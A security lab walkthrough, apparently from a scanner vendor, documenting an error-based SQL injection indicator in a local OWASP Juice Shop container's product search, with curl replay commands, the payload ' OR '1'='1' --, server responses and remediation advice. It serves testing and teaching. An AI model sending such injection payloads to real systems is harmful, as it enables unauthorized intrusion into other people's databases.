



Agent Breach

2026-09-22

Lab Evidence Walkthrough

For OWASP Juice Shop

PUBLIC LAB SAMPLE

Selected, reproducible evidence from an intentionally vulnerable local lab

OWASP Juice Shop: product-search SQL error

A reproducible example from a local, intentionally vulnerable lab. This is selected evidence, not a full pentest or a certification report.

Lab: Local OWASP Juice Shop container | Profile: Deep; no authentication profile

Scan completed: 2026-09-21 13:03 UTC | Manual replay: 2026-09-22 09:31 UTC

Scan ID: 674d98f6-19ad-4589-8016-2d1d714ab35a | Finding ID: ab90ae2a-e73c-4ce8-aad0-3d3a6350273e

Pinned image: bkimminich/juice-shop@sha256:73c53fbf442e8337b3ea3d98c7e8550308854701ebdfce4cc39768f36b75430e

What was tested

GET http://127.0.0.1:3001/rest/products/search; parameter **q**; payload '**OR '1'='1' --**'.

Reproduce in a local lab

In a POSIX shell or Git Bash, run the pinned image, then copy each request in order. These commands target only the local container.

```
docker run --rm -p 3001:3000 \
  bkimminich/juice-shop@sha256:73c53fbf442e8337b3ea3d98c7e8550308854701ebdfce4cc39768f36b75430e
```

1. Baseline

```
curl -i -G --data-urlencode 'q=agentbreachcontrol' http://127.0.0.1:3001/rest/products/search
```

Observed HTTP excerpt

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"status":"success","data":[]}
```

2. SQL-shaped payload

```
curl -i -G --data-urlencode "q=' OR '1'='1' --" http://127.0.0.1:3001/rest/products/search
```

Observed HTTP excerpt

```
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
<title>Error: SQLITE_ERROR: incomplete input</title>
```

3. Syntax control

```
curl -i -G --data-urlencode "q='" http://127.0.0.1:3001/rest/products/search
```

Observed HTTP excerpt

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"status":"success","data":[]}
```

Assessment

The SQL-shaped payload produced a SQLite parser error while the baseline and isolated quote returned normal JSON. This supports an error-based SQL injection indicator on this lab build; the replay did not attempt data extraction or establish broader impact.

Remediation and retest

Use parameterized queries for product search and avoid returning raw database errors. Re-run the three requests after the fix; the payload should no longer produce a SQL parser error.

Retest state

Still reproducible in the pinned local lab image on 2026-09-22; no remediation was applied.

Evidence boundary

The stored finding was marked confirmed by the scanner, but this historical run has no original/proof exchange IDs in the newer evidence ledger. The comparison shown here is a separate manual replay on 2026-09-22.

Coverage boundary

This is one selected finding from an unauthenticated Deep scan. It is not a statement that all Juice Shop routes, API operations, workflows or vulnerability classes were tested. Other scanner findings were not independently adjudicated for this sample.